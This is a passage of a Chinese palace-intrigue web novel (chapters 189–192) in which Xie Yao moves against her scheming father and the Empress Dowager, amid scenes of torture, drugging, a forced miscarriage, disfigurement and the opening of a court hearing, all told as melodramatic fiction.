倒是之前想与安平侯和离,让太后极为不满的侯夫人,如今生死不明。 谢窈:“太后忌惮殿下与皇上联手制衡江家,所以要杀您;她又嫌侯夫人不够听话,所以想换个侄女做安平侯夫人;调查刺客的是御鹰司,如果最后查出睿王余孽这个结果,有心之人,还会怀疑是皇上要除掉安平侯,一举三得,证据,已经不重要了。” “江锦云……”长公主的脸色沉了下去,念出太后的名字。 随即,谢窈扬起唇角。 或许是因为她猜出,长公主和大将军有旧情,她开门见山地说:“只是太后不会想到,江丛嫣没有死,只不过,她现在由明转暗,还不能暴露。” 长公主眼神一凛,明白过来。 仅仅有江丛嫣一个证人,是不够的。 想扳倒太后和江家,要做到的,是人赃并获。 “谢窈,你打算如何做?” “分而化之,直到他们……狗急跳墙。” 长公主望着她,认真地说:“本宫这就进宫面见皇上,将事情原委说清楚,同时会告诉皇上你的猜测,让皇上为你记一桩功劳,至于江丛嫣的事,也依你安排,本宫不会多言。” 谢窈笑了笑,轻舒一口气:“那劳烦长公主,我要一道皇上的旨意。” 前世,陆慎言把自己的猜测告诉皇上,被皇上记下功劳。 本来昨日除夕夜宴,她打算亲口跟皇上说,现在换成长公主替自己陈述也可以。 长公主又让双喜送来各种珍贵药物,确定谢窈的伤势并无大碍后,才离开靖北王府,匆匆进宫。 谢窈休息一会儿,让忍冬为自己研磨,给大将军写了一封信。 许素素进来,手里端着做好的补汤。 谢窈把写完的信塞到忍冬怀里,“哎呦”一声倒回床上,语气软下来:“母亲,我手动不了了,母亲喂我吧。” 许素素瞥了一眼桌上,砚台里的墨还没干,何况,谢窈受伤的是左臂,不是右臂。 但她见谢窈冲自己撒娇,哪还能拒绝。 “张嘴,烫不烫?” 谢窈摇头,乖乖地一口气喝了两碗,许素素也不嫌烦,正打算盛第三碗的时候,她拉住她的手。 “母亲,可以了。” 谢窈仰起头,看见窗外冬日的暖阳。 这是新岁的第一天,万物新生。 “收网的时候,到了。” 傍晚,京兆府官差在京郊一处山崖下,发现了侯夫人尸体,将尸体送回安平侯府。 三日后。 阳光照不进的地方,侯府的地牢,陆慎言醒来。 身下一阵剧痛,他睁开眼,不是想象中奴仆守护,御医嘘寒问暖的情景。 梦里那个熟悉的身影,也如同一阵轻烟消散。 陆慎言艰难地低头,发现自己手腕被铁锁链锁着。 下半身钻心的疼,肩膀和胸口也有被飞镖射中的伤口。 虽然这些伤没有流血,可还是疼得他浑身发抖。 “醒了。” 阴冷的声音传来。 安平侯提着一盏灯,满身酒气,脚步虚浮地走到陆慎言面前。 灯影在他脸上晃动,他的嘴角,扯起一抹嘲讽笑容。 “多谢陆公子替本侯挡箭,你,是本侯的救命恩人啊。” 第189章 安平侯发疯,谢枝灵堂勾引 陆慎言听到这话,心中先是一喜,看到自己所处的地方,心却又沉了下去。 “侯爷,草民只是路见不平,做了应该做的,只求侯爷看在草民身受重伤的份上,放了草民,草民日后定效犬马之劳。”他嘶哑着嗓子,小心翼翼地求饶。 “犬马之劳?一个被皇上下旨,朝堂之上永不录用的人,本侯……” 安平侯话语一顿,忽然抬起脚,一脚踢在陆慎言腿上,一字一顿:“凭什么放你!” “嘶啊——” 剧痛让陆慎言惨叫出声,他疼得呲牙,冷汗瞬间冒出来。 安平侯低声询问:“说,是谁让你来救本侯的!” “侯爷,草民不知道,真的不知道啊!我只是路过而已!” 陆慎言不敢提自己想攀附太后的事,更不想让安平侯知道自己另有目的,否则,他岂不是白白挡了一箭? “你当本侯是傻子,看不出你是故意的?” 安平侯蹲下身,揪住陆慎言的头发,把他的头拽起来,眼中阴鸷。 陆慎言还是摇头装傻。 安平侯拍了拍他的脸皮,将他的头按到地上:“给本侯打。” 身后的侍卫拿着鞭子上前,狠狠抽打在陆慎言身上。 不出片刻,他就皮开肉绽。 “信……是有人给了我一封信……我……我以为是机会……”陆慎言惨叫连连,终于说出那封被他烧了的匿名信,“就来救侯爷……我,我是真的救了侯爷啊!” 安平侯笑了,大滴大滴温热的眼泪,从眼眶滚落。 他笑得癫狂而绝望。 “哈哈哈……本侯就知道,就知道……一切都是母后安排的,是她,是她想杀了嫣儿,还安排了救本侯的人,那你为什么不救嫣儿,为什么!” 他已经猜到了,虽然御鹰司说刺客是睿王余孽,但睿王哥哥怎么会害自己?而他分明听到,刺客之间交流,用的是西戎语。 他的母后,前几日还在宁寿宫,招待了西戎使团的首领。 安平侯将陆慎言踹翻在地,抹了一把眼泪,无趣地摇头:“酒呢。” 侍卫劝道:“侯爷,您不能再喝了,您已经喝了三天——” 安平侯直接抽出侍卫的佩剑,剑尖直指他:“酒。” 地牢外,柳姨娘听到动静,紧张地将一坛酒,交给另一个侍卫。 侍卫送上酒坛,安平侯看也不看,给自己灌了一大口。 “我感谢你……呵呵,感谢你救了本侯……” 他喃喃道,又喝了几口之后,抬起手,将坛中的酒液,倒在陆慎言鲜血模糊的伤口上。 “啊啊啊!!!” 伤口碰到酒水,陆慎言疼到面目扭曲,凄厉的叫声回荡在地牢中,让侍卫听到都害怕。 安平侯看着他在地上痛苦地翻滚,眼中没有半分怜悯,反而笑得更灿烂了几分: “本侯给母后一个面子,不杀了他,给本侯继续打,打完了,直接丢到大街上,让所有人看看,这就是算计本侯的下场。” 说完,他转身离开。 陆慎言绝望地倒在地上,心中悔恨交织。 如果早知道安平侯是个疯子,他怎么会选择救他。 他甚至来不及感受自己受伤的下半身行不行…… 陆慎言仰天长叹,呕出一口鲜血,再次昏死过去。 安平侯手捧酒坛,踉踉跄跄地走到侯府正厅。 灵堂里挂满白幡,正中间停着精致的棺椁,上面写着江丛嫣的灵位。 安平侯坐到灵位前的蒲团上,眼神空洞。 酒劲上来,他回想起三日前,官差在山崖下找到江丛嫣,将面目全非的尸体送回侯府的情景。 嫣儿走的时候,身穿那身粉蓝色绣牡丹曲裾裙,头上戴着支金镶玉点翠钗,还是自己从前买给她的。 因为面容模糊,他不信那是他的嫣儿。 直到江家的江父江母赶来,抱着尸体,失声痛哭。 李钰这才相信,江丛嫣真的死了。 “夫人,我错了,我不该让你一个人在云鹤楼的,我不该……” 安平侯喃喃自语,又灌了一口酒,将供桌上的蝴蝶酥推上前。 “若是我不说死也不和离……可母后是你的亲姑姑啊,她怎么能这么狠!夫人,你疼吗,夫人……我的心好疼……” 他抱起灵位,双目猩红,眼泪落下。 这时,灵堂门口传来轻响。 安平侯抬起头,看见一个穿着素色衣裙,身披白狐毛披风,姿态端庄柔美的女子走进来。 “夫人?!” 安平侯猛地站起来,眼前的人影一下子有些模糊,他害怕是幻觉,扑上前,紧紧地拉住女子的手:“你没死,本侯就知道你没死!” 谢枝满脸羞涩笑容,殷切地解开自己的披风,盖到安平侯身上:“侯爷,这里太冷了,你要是着凉了,妾身会心疼的。” 安平侯凝视着她的脸,感受到自己身体变得滚烫。 不对劲…… 他滚动喉咙,避开女子姣好的身躯,喉咙一阵干渴。 “滚,”安平侯沙哑地说,“你不是江丛嫣,滚!” 谢枝瞪大眼睛,见中了药的男人竟然不为所动。 柳姨娘把她关在侯府别院已有一个月,今天终于大发慈悲,说侯夫人死了,要她去安慰侯爷。 侯爷本来也没多在乎侯夫人,可这却是她来之不易的机会。 她用孙姨娘给她准备的最后一点嫁妆,求柳姨娘在侯爷的酒里下药。 谢枝咬了咬牙,抬起手,解开衣领的盘扣,一件件褪去衣物。 灵堂内有炭盆,但因为安平侯醉酒后打骂下人,已经没人敢靠近,炭火熄灭了许久。 寒意袭来,让谢枝裸露在外的肌肤,起了一层鸡皮疙瘩。 她上前抱住安平侯,呵气如兰:“侯爷,请怜惜妾身……” 眼前的女子,渐渐和江丛嫣的面容重合。 安平侯将谢枝按压在地上,掐住她的腰,动作粗暴地撕扯掉最后那点碍事的衣物。 直到他欺身而下,抽去自己腰带的时候,迷离的目光落在谢枝的脸上,又清醒了一瞬。 蓦地,他想起那日在成佛寺,他让他的夫人,看到了那么污秽的情景。 安平侯呼吸一酸,忽然推开谢枝,抬起手,狠狠抽了自己一巴掌。 他恢复了片刻清明,却抵不住酒意袭来,醉倒在谢枝身上,彻底混睡过去。 谢枝惊了,没想到侯爷就这么睡着。 之前在成佛寺,侯爷可是拉着她和柳姨娘两个人的。 她甚至怀疑,是不是自己的药失了效。 刚才的亲吻也让谢枝沾染了药,很快,她身体传来空虚火热的滋味。 谢枝解开安平侯的衣袍,蹭着那胸膛,难耐地喘息着。 次日,安平侯在头痛欲裂中醒来,睁开眼,就看见躺在身边的谢枝。 他骤然抬头。 江丛嫣的灵位,掉在不远处的地上。 昨晚的荒唐,隐隐在他脑海中浮现。 “谢枝,你找死!” 安平侯嘶吼着,捡起之前丢在地上的长剑,双眸充满了痛苦的杀意,扭曲到极点。 他不太记得昨晚到底发生了什么,却痛恨自己,居然做出这种事。 谢枝被惊醒,连忙爬起来,故意露出自己白皙的肌肤,一脸讨好地说:“侯爷,妾身是看您一直饮酒,特意来照顾您的。” 安平侯根本不听,一剑刺了过去。 没刺中要害,直接刺穿她的肩膀。 谢枝凄惨地尖叫起来。 安平侯这个疯子,他是真的要杀了自己! 鲜血溅在灵堂的白布上,安平侯拔出剑,鲜血顺着剑身往下滴。 他步步紧逼,眼神阴沉癫狂:“一个伯爵庶女,敢在夫人的灵堂上勾引本侯,你以为,本侯不敢杀了你?” “侯爷饶命,妾身不是故意的,妾身真的不是故意的……” 谢枝捂着伤,吓得魂飞魄散,跪在地上拼命磕头。 安平侯盯着她的脸:“本侯发现,你一点也不像谢窈。” 谢枝怔了怔,眼泪还流着:“侯,侯爷?” 安平侯眯起眸子,想起自己当初之所以看上谢枝,就是因为谢枝是谢窈的庶姐。 但同父异母的两个人,不管是容貌还是品性,都天差地别。 安平侯举起剑,就要落下的时候,谢枝哭喊着抱住他的大腿:“侯爷,这里是江姐姐的灵堂,求侯爷饶了妾身吧!” “也是,本侯不能让你死了,去九泉之下,扰了嫣儿的安宁。”安平侯收了剑。 他捡起江丛嫣牌位,小心翼翼地摆放好,眼神出奇地温柔。 没等谢枝松了一口气,就见这个男人冷笑着,声音幽冷:“来人,将她的脸毁了,送回谢家,本侯,不要这种不知廉耻的贱人!” 第190章 告诉孙姨娘,她大哥的死 扶光院,谢窈正坐在窗边看书养伤。 忍冬端着伤药前来,给王妃准备好了蜜饯。 谢窈一口把汤药闷了,咀嚼着蜜饯,缓慢活动左臂,道:“忍冬,我想出去跟追墨玩,我这伤真的快好了,不信,我脱给你看。” 忍冬义正言辞:“王妃想出去练刀,想都别想,若是你偷偷出去,奴婢就去告诉王爷,让王爷来说您。” 谢窈:“……行,我真是怕萧熠之了。” 也不知靖北王怎么回事,自己受伤这几日,他忽然变了性子。 她要练刀,王爷也要练。 她阻止吧,王爷就说:“王妃是不是瞧不起残疾人?” “那我不练了。” “那本王也不练了。” 谢窈看王爷坐在轮椅上练刀,实在滑稽,只好乖乖回屋养伤。 现在,连忍冬都会拿靖北王压她了。 不过谢窈并没有骗忍冬,她的伤,真的好的很快。 前世,自己明明从小身体强壮,当初替大将军挡箭,半个月就在觉岸和尚的医治下活蹦乱跳了,母亲甚至都不知道她受了伤。 但自从自己开始从军,运气却变得很差,受伤不断不说,伤势也很难好,回京后,更是落得惨死的结局。 重生后,一切大不一样。 她在北境受的伤几天就好了,这次箭伤也是,才七八日,她就感觉自己身体恢复得七七八八。 正想着,棠心带着七两进来。 “王妃,外面都传开了,谢枝在侯夫人的灵堂勾引安平侯,安平侯气急败坏,在她脸上刻下了‘贱人’二字,将她送回了谢家!” 七两兴冲冲地说。 谢窈思忖灵堂,勾引,这两个词是怎么凑到一起的。 随即问道:“哦?然后呢。” 七两:“谢枝丢尽谢家的脸,文昌伯见她受伤,当场就说不要这个女儿,让人用草席卷了丢出去,还是孙姨娘求了许久,听说,最后谢枝被谢家派人,送去城外一个破庄子里,自生自灭了。” 谢窈合上书,眼神清冷。 安平侯本就是个喜欢凌虐女子的疯子,谢枝做出在灵堂勾引他的事,真是自取灭亡。 “你说,孙姨娘求了谢明安?”她想起来什么,问道。 孙姨娘早已和谢明安反目成仇,她要的,是这两个人互相折磨,如今孙馨兰为了谢枝低头求饶,这戏,就不好看了。 七两:“是啊,听说孙姨娘哭晕了过去,才求来这样一个结果。” 谢窈站起身:“去澄园通知母亲,我的伤势已经大好,和离之事,万事俱备,只欠东风。” 这一次,忍冬看出王妃眼里的决然。 “再去告诉孙姨娘,她大哥,是怎么死的。”谢窈顿了顿,又道。 好风凭借力,孙姨娘这道风,也到了吹散雾霭的时候。 七两反应过来,连忙点头:“茗儿还留在伯府,小的立即去办。” 他离开王府,悄悄到伯府后门。 茗儿是后厨的丫鬟,负责谢老夫人每日所食的新鲜瓜果。 很快,七两就见到她。 正要将事情交代下去,谢宴从族学回院,路过后门,看见他们。 “你们两个在这里鬼鬼祟祟的,在干什么?”谢宴立即上前,黑眸沉沉地问。 七两倒不怕他,行礼道:“晏哥,小的和茗儿,都是靖北王妃的人。” 谢宴:“我知道你们是姐姐的人,告诉我,姐姐要你们做什么?” 七两面露犹豫。 “她能为姐姐做的,我也能做到,我可以做的比她更好。”谢宴指着茗儿,认真地说。 七两只好将事情告诉了谢宴。 回到王府,七两跟谢窈复命:“王妃,小的和茗儿遇见了晏哥,他非要询问您的吩咐,小的只好告诉了他。” 谢窈:“谢宴闲不下来,就喜欢找事情做,他爱做什么就做什么吧。” 而这边,谢宴听完七两的话,心里有了算计。 他先是让自己书童,去外面药铺买些药材,特意说不去胜济堂,然后,带着茗儿来到孙姨娘的院子。 院外和屋外,都守着丫鬟下人。 茗儿本打算扮做送餐丫鬟进去,谢宴却让她在一旁藏好。 他大摇大摆地走上前,丢给这些下人几两银子,脸上带着纨绔痞气:“爷今天心情好,走,陪爷去看斗鸡。” 谢窈没回京之前,谢小伯爷每天的日常就是吃饭睡觉斗鸡。 伯府已经没了管事和护院首领,这些下人收了银两,兴冲冲地跟上去。 谢宴朝茗儿方向扫了一眼,就带着人离开了。 此刻,孙姨娘正坐在床边,盯着窗外灰蒙蒙的天出神。 因为昨天向谢明安求情,今日,她身上捆着的布条绳子都被解开了。 她女儿落在谢明安手里,谢明安不会再怕她的威胁。 孙姨娘担心着,谢枝被送到乡下的破庄子礼,冬天寒冷,女儿身边没人伺候,能不能吃上一口热饭,她受了伤,该怎么活…… 孙姨娘不是没气恼过女儿的愚蠢,可那是她十月怀胎生下的孩子,是她的命。 为了谢枝,就算她恨极了谢明安,也只能跟这个男人虚与委蛇。 “奴婢见过孙姨娘。” 茗儿推门进来。 孙姨娘眯起眸子,快速拭去眼角的泪,看向她:“这次,是谢窈的人?” 茗儿犹豫了一下,道:“孙姨娘,有件事,王妃查到了,奴婢来问您想不想知道。” 孙姨娘:“我不想知道!” 茗儿:“您不想知道也得知道,奴婢就是来告诉您的。” 孙姨娘张了张口,半晌,吐出三个字:“你说吧。” 茗儿:“孙家老爷孙宏方的死,不是许家害的。” “自然与许家无关,大哥是意外死在牢里,”孙姨娘道,“我大嫂就是个泼妇,想在谢窈大婚时诈她一笔,恶心她罢了。” “可孙宏方的死,也并不是意外。他死了,孙姨娘你没了大哥,孙药令本身又听从伯爷的话,以后你能依靠的,就只有伯爷了。” 孙姨娘猛地抬起头,瞳孔颤抖:“你是说,大哥是被谢明安害死的?” 茗儿:“牢房的官差说,孙宏方误食了薤白,突发疾病,七窍流血而亡,你是他妹妹,知道自己大哥忌食薤白吗?” 孙姨娘:“大哥开了几十年医馆……他,他这么可能死的这么荒唐!” 她浑身发抖,想起大哥刚死的时候,谢明安询问她,能不能分到一些孙家家产,得知不能,他还不高兴。 原来大哥,是他害死的啊! “谢明安,这个狼心狗肺的东西!” 孙姨娘捂着脸,眼泪顺着指缝流下来,悲绝地低吼。 她被所谓的良人下毒,女儿被抛弃,父亲自身难保,大哥也被害。 谢明安会害死在大牢的大哥,难道,就不会害死被扔去庄子的谢枝? 孙姨娘心里,最后一点念想也没了。 她抚摸着高高隆起的腹部,看向桌角。 就在她鼓起勇气,想要撞上去的时候,屋门再次被推开。 谢宴摆脱了那几个下人,走进来。 他一身月白襕袍,俊秀的面庞透着寒意,手里端着一碗药汁。 “姨娘,宴儿来看你了。” 谢宴径直走到孙姨娘面前,微微一笑。 “这是二叔看你可怜,让我给你送来的安胎补药。” 第191章 渣爹被抓进大牢,谢窈回府 “谢二爷?” 孙姨娘盯着谢宴手里的汤药,抬起头。 少年眼眸浓黑如墨,唇角挂着无辜的笑容。 仿佛他手里这碗药,真是安胎药。 这么可能? 更不可能的是,二房就算要害自己,也不会让谢宴动手吧。 这孩子,分明是装都不装了,顺便还要陷害一下二房。 从前,孙姨娘是真的在乎谢明安。 所以对谢宴,这个文昌伯的嫡子,她也是真的疼爱有加。 或许过于溺爱,让谢宴长成了一个纨绔,但她从没有害过这个孩子。 这一刻,孙姨娘盯着谢宴这张与谢明安如出一辙的面容,才明白,少年和那个男人一样,骨子里的狠心,偏执,凉薄。 可她不在乎了。 她忽然觉得,要是谢宴一直帮他姐姐和母亲,父子相残的戏码,会很有意思。 孙姨娘笑了笑,笑得眼泪都流下来,温柔地抚摸自己小腹:“宴儿,这碗药是什么,你我心知肚明。” 谢宴脸上的笑容则渐渐消散,恢复了冷漠:“姨娘既然知道,就喝了吧,不然我喂你的话,场面不会很好看。” 孙姨娘没有犹豫,接过药碗:“多谢成全。” 说完,她仰头一饮而尽! 这是真的落胎药,比孙姨娘上次喝的假的要苦涩得多。 顷刻之间,她的腹部就传来剧烈的疼痛。 孙姨娘蜷缩在床上,捂着自己腹部,浑身冷汗津津,嘴唇被咬出血迹,没有发出任何声音。 她本就不想活了,谢明安千防万防,也防不住她主动喝药。 本想拖到十月生产,至少还能盼着谢明安能对谢枝好一点,但得知自己大哥的死也是谢明安干的,她彻底绝望。 “孩子……娘对不起你……可你生下来,也是受苦受罪。”孙姨娘喃喃自语。 谢宴见她这么干脆,挑了挑眉,转身对茗儿道:“半个时辰后,你来送餐,再给她请来胜济堂的大夫。” 随即,他就要离开。 孙姨娘脸色惨白如纸,仰起头,艰难地开口:“宴儿,姨娘如你所愿,会跟他说……是……二房害的。” 谢宴的脚步停顿了一下,说:“多谢姨娘配合,可惜,大姐姐是害过姐姐的人,我不会管她的死活。” 孙姨娘早已看出谢宴睚眦必报,斩草除根的性子。 “不求你……我只求……谢宴,你别害她。” 谢宴没有答应,但也没有拒绝,走出了孙姨娘的屋子。 半个时辰后,谢明安还在前院跟谢老夫人喝茶。 谢老夫人:“明安,昨天枝枝回来,真是吓了我好大一跳,咱们伯府的天如今是阴云密布,可不能再出乱子了。” 谢明安敷衍道:“母亲放心,谢枝不过是个庶女,被本伯送走,掀不起什么风浪,有她在,孙姨娘也会乖乖听话。” “伯爷,老夫人,不好了,孙姨娘小产了!” 话音刚落,几个下人惊慌失措地跑进来。 谢明安和谢老夫人:“……” 谢明安“腾”地站起来,顾不得整理衣袍,就冲到孙姨娘的院子。 谢老夫人也拄着拐杖,快步跟在身后。 一进院门,就听见下人们乱作一团的哭声。 孙姨娘躺在床上,脸色惨白如纸,身下的衣物锦被已经被鲜血浸透。 两个大夫围着床,眉头紧锁。 一个老大夫摇头说:“伯爷,孙姨娘腹中胎儿已六个月,是中了烈性落胎药才小产的,如今血崩不止,怕是……怕是性命难保啊!” 另一个大夫也道:“是啊伯爷,孩子肯定保不住了,我等只能尽力保孙姨娘的命,您得有个准备。” “废物!都是废物!” 谢明安脑袋嗡嗡的,一把揪住旁边丫鬟的衣领:“不是让你们看好她吗?谁让她乱吃东西的?!一群没用的东西!” 他暴怒到了极点,恨不得杀人。 丫鬟哭着说:“伯爷,昨日您说孙姨娘总是捆着,对胎儿不好,才让奴婢解开了她的绳子,谁承想……奴婢等人不敢离开屋子一步,实在不知道姨娘是怎么用的药啊!” 匆匆赶来的谢宴,冷眼看着这一幕。 谢家,不,应该说谢明安已经快完了。 伯府底层的下人,最懂得见风使舵,只需要他一句话,就都会站在他这个下一任文昌伯这边。 谢宴虽然不是光明正大地走进孙姨娘的院子,但也没有避着谁,却没人敢告诉谢明安。 谢明安死死地盯着孙姨娘,刚想说既然孩子没了,她就跟着死吧,却瞥见两个大夫还在旁边。 想起自己的名声,他强压下怒火,冷声道:“还愣着干什么?赶紧治!” 谢家二房也听到消息,急匆匆地赶来。 谢明安的眼神在谢二爷和谢宴身上扫过,眼底闪过怀疑。 他走到孙姨娘床边,居高临下地问:“你的落胎药,从何而来?” 孙姨娘缓缓睁开眼,眼神涣散,在看到谢明安时闪过一丝恨意。 她咳了两声,虚弱地说:“伯爷府里,府里谁最不希望妾身生下孩子……您心里,不清楚吗?” 她故意顿了顿,余光扫过谢二爷,冷冷地笑:“我要多谢二爷,给了我这个机会。” 谢明安猛地转头。 如果给他时间慢慢调查,他会发现事情不对、 但此刻,谢明安还没有从孙姨娘孩子没了的打击中缓过神,他大脑一片空白,听到这话,不假思索地看向二房的人,眼神里怒火中烧。 “好!好得很!谢明守,本伯看你是活腻了!” 谢二爷吓得连忙摆手:“伯爷冤枉啊!我没有!是孙姨娘栽赃陷害,她挑拨我们兄弟感情!” 谢明安眼神阴沉冷酷,正要再叫人,直接拿住二房,院门外传来一阵脚步声。 京兆府的郑参军,带着十几个官差,闯进了谢家。 谢家的护院,都不敢阻拦。 “放肆,郑参军,你敢擅闯文昌伯府!”谢明安怒吼。 郑参军扬声道:“有人状告文昌伯谢明安行贿朝廷官员,滥杀无辜,明日京兆府升堂审理,来人,将他带去大牢。” 谢明安脸色骤变:“郑参军,你敢!是谁告的我?!” 郑参军:“伯爷,之前下官就提醒过你,既然伯夫人想和离,你把吃了的吐出去,和离了就是,何必闹到这个地步呢。” 谢明安瞪大眼睛:“是许氏?她疯了?她为了和离状告本伯?她是本伯的正妻,本伯要是真有罪,她难辞其咎!” 郑参军不再多言,一挥手,官差们上前,按住挣扎的谢明安。 “放开我!我是文昌伯!你们不能抓我!” 一切发生的太快,他嘶吼着看向谢二爷,可谢二爷正被扣了一顶黑锅,面色惶恐,根本不敢多言。 谢老夫人倒是想说什么,被谢宴拉住:“祖母,孙儿害怕。” 她安抚完孙子,就见儿子被官差强行押走了。 谢明安到底是文昌伯,礼部侍郎,而且还没定罪,郑参军也没太为难他,只是带着人和他一起,步行前往大牢。 棠柳巷的百姓们看到这一幕,对他指指点点。 “谢家三天两头出事,都影响咱们棠柳巷的声誉了。” “护院当街杀人,庶女在侯夫人灵堂上不知廉耻地勾引侯爷,还有姨娘也自己给自己下毒,今天,终于轮到文昌伯了。” “我就说文昌伯一脸奸相,肯定是大贪官,可怜王妃之前英勇无畏,救了长公主,还以身饲虎……咳咳,怎么摊上这样一个爹。” “听说明日京兆府会升堂审理文昌伯,我定要去看个热闹!” 谢明安听到这些议论,脸都绿了。 就在官差队伍离开棠柳巷的时候,靖北王府的马车,与谢明安擦肩而过。 谢窈,回到了伯府。 上次回来,还是回门宴。 谢窈走进伯府,谢明安被抓进大牢,谢家乱作一团,人心惶惶,无人敢拦她,也无人迎接她。 谢窈让七两去新建的谢家祠堂,取一块牌位来。 随即,她来到孙姨娘院子,看着屋内的情景,摇了摇头,跟胜济堂的大夫道:“尽力保她的命吧。” 谢窈这才慢悠悠地走到正厅。 谢老夫人坐在椅子上,脸色铁青。 谢家二房的人看见她,大气都不敢喘,谢二爷颤声道:“见,见过王妃。” 谢窈看了二房一眼:“二叔,二婶,明日京兆府公堂,镇国长公主和京兆尹要亲自审伯爷,不知你们二人,是否要帮父亲说话呢?” “长公主?” 二房夫人脱口而出,吓得腿软。 谢二爷想到刚才谢明安看自己的眼神,心中一狠:“大哥要是做错了事,自然该受到惩罚,二叔我一个七品小官,能做什么。” 谢窈:“既然什么也做不了,那你还待在这干嘛?” 谢二爷嘴角一抽,连忙领着妻子离开,见谢窈还要对谢老夫人说话,他内心幸灾乐祸,顺便叫走了厅内下人。 谢窈一个眼神,让满脸邀功望着自己的谢宴也下去。 她走到谢老夫人面前,居高临下道:“二叔不管,但我知道,祖母这么疼爱父亲,肯定会出面作证的。” 谢老夫人猛地抬头,眼神阴沉怨懑。 “谢窈,你疯了?伯爷他是你父亲!你怎能和许氏一起陷害他?他真被判了罪,你如何能脱得了干系!” “父亲?” 谢窈轻笑一声,压低声音,在谢老夫人的耳边反问:“祖母,你说,谢明安真是我父亲吗?” 第192章 公堂之上,审问渣爹! “祖母,你说,谢明安真是我父亲吗?” 谢窈的话,让谢老夫人的脸色瞬间惨白。 “你……你怎么知道的?”她声音嘶哑,颤巍巍地问。 谢窈扯了扯嘴角,彻底确定朱嬷嬷临死之前,没有骗她。 谢窈当然不信母亲会在与谢明安成亲之前,还心悦别的男子,而且,母亲根本就什么都不知道。 再结合之前秋水的交代。 原来,自己不是谢明安的亲生女儿,也不是母亲亲生的。 母亲曾经的陪嫁嬷嬷——死去的苏嬷嬷做了什么,欺骗了母亲,让她以为她生下的是自己…… 谢窈深吸一口气,压下心里的情绪。 她不愿在这时候,去思考母亲当初生下了什么,她的亲生母亲又到底是谁,在哪。 “既然我根本不是谢明安的女儿,那谢家的死活,与我何干?”谢窈笑着问。 谢老夫人攥紧拐杖,咬牙切齿:“是许氏背叛了明安,不知和哪个奸夫剩下你这个——” 谢窈打断她的话,倒反天罡:“祖母再敢说出一句诬陷我母亲的言语,我不介意在这里,好好管教管教你。” 谢老夫人:“……” 谢窈:“苏嬷嬷当初到底怎么说的,祖母,你敢和盘托出吗。” “我……我……”谢老夫人回想起当年,她和儿子审问苏嬷嬷的结果,眼神变幻着。 这时,七两回来了。 谢窈从他手里,捏起崭新的牌位,丢到谢老夫人面前:“祖母想说死无对证是吧,可死人,也会说话。” 谢老夫人定睛一看,吓得浑身一震。 这竟然是谢家老伯爷的牌位。 她想起丈夫的死因,一下子打起寒战。 谢窈为什么拿出了这个牌位? 难道说,她知道了儿子害死丈夫的事? 这是谢家最大的秘密,只有她和儿子知道,因为这个秘密,她一直很怕自己的儿子,却又不得不依附儿子。 “谢窈,你,你到底想干什么?”谢老夫人的声音颤抖。 “我要我母亲许素素,清清白白,干干净净地走出你们谢家。” 谢窈一字一句,清晰而冰冷,如同纯粹的碎冰。 “若祖母不愿意,那我也不介意告诉天下人,我母亲的夫君,是个弑父的畜生,一家人嘛,不说两句话。” 谢老夫人迎着她冰冷的眼神,心里只剩下恐惧。 谢窈如果告发谢明安弑父,那她儿子,不,那谢家就完了! 她只剩下了一个选择,那就是听谢窈的话。 次日。 清晨的京兆府被围个水泄不通,门口挤满了踮着脚张望,看热闹的百姓。 “听说今日要审的是文昌伯,靖北王府的父亲?” “他家护院前几日当街杀人,看来,他也不是什么好东西!” “那可未必,状告他的是伯夫人许氏,妻子状告丈夫,这成何体统!” “小点声,一会儿有大人物要来。” 众人正议论着,公堂之内,京兆尹杜语堂出现了。 杜语堂并未入座,而是对旁边的衙役吩咐:“去将紫檀椅搬来。” 没过多久,只听外面传来太监尖细的声音:“镇国长公主驾到——” 百姓们瞬间安静下来,下意识往两侧让出路,一个个回头看去。 只见一队锦衣侍卫开路,身着织锦绣凤华裙的长公主从凤驾下车,一举一动,都带着矜贵傲然的威严。 “京兆尹杜语堂参见镇国长公主,殿下千岁千岁,千千岁!” 杜语堂迎到门前,躬身行礼。 身后的衙役文书,还有周遭百姓也纷纷跪倒,高呼“千岁”。 如今的燕国,最为出名的两个女子,不是太后和皇后,而是镇国长公主和靖北王妃。 一个,是皇上的亲姐姐,有着独立于百官的监察之权,曾是燕国第一美人。 另一个,敢嫁给身有残疾的靖北王,是燕国自从羲和太后之后,第一个女校尉。 长公主走进公堂,坐在紫檀椅上:“诸位免礼,都起来吧,本宫只是听说,此案涉及本宫的救命恩人许氏,所以特来旁听。” 说着,她的目光扫过公堂,落在谢窈身上,眼底闪过一丝温和。 听到这话,周围的百姓们看向谢窈的眼神,也越发敬畏。 前些日子长公主遇刺,传闻,是靖北王妃救了她。 这个传闻,今日得到了证实。 谢窈站在人群边缘,神情不卑不亢,向长公主颔首。 长公主前来,这代表即便没有后续皇上的旨意,今日,她也能达成自己的目的。 杜语堂特意瞥了一眼,没见到自己表弟王爷,他心里松了一口气。 他下令,将谢明安和蒋四带上来,将许素素请来。 在京兆府大牢里关了一晚上的谢明安,并未穿囚服,走上公堂之前,他特意整了整衣衫发冠,让自己更体面一些,却难掩眼下的乌青。 看见被一起带过来的蒋四,谢明安面色微变。 他本想过避避风头之后,就把蒋四在牢里灭口,没想到还没来得及下手,谢窈和许素素的动作这么快。 忽然,蒋四抬头,迅速朝他挤眉弄眼了一下。 谢明安接收到这个眼神,心下一定,冷静下来。 看来蒋四明白,有些事,他要是敢说出去,他自己也活不成。 再看许素素,身着靛蓝襦裙,背脊挺得笔直,眼神里没有一点往日的怯懦隐忍。 谢窈望着母亲的背影,唇角扬起淡淡的笑意。 她期待已久的这一刻,终于到来了! 杜语堂先看向蒋四:“蒋四,你前日招供,谢明安当年,是为了救老文昌伯才娶许氏,此事当真?如实招来!” 谢明安听到这话,内心彻底松懈下来。 蒋四交代的,只是件无关紧要的事罢了。 “小人所说句句属实,十八年前,老伯爷因得罪当朝贵人被关进大牢,文昌伯为此,设计三番五次偶遇许老爷子的独女许氏,待得到许氏芳心,他就用许氏的陪嫁贿赂官员,这才救出老伯爷。”蒋四说道。 谢明安的脸皮微微抽搐,此事他根本没当回事,可听蒋四这么一说,怎么感觉,自己成了那心怀不轨的软饭男呢。 他当然不甘如此,紧绷着面容,沉声道: “胡说八道,大人,这刁奴在污蔑本伯,当年父亲是被奸臣诬陷下狱,情急之下,本伯是在与许氏成婚后,才用自己妻子的钱财救父亲,何错之有?” 许素素上前一步,声音清亮:“谢明安,你这是承认,当初你娶我,就是为了救老伯爷,还有我的陪嫁了?” 谢明安立即道:“谁说的,本伯跟你,明明是两情相悦。” 许素素:“可丫鬟秋水,不是这么说的。” 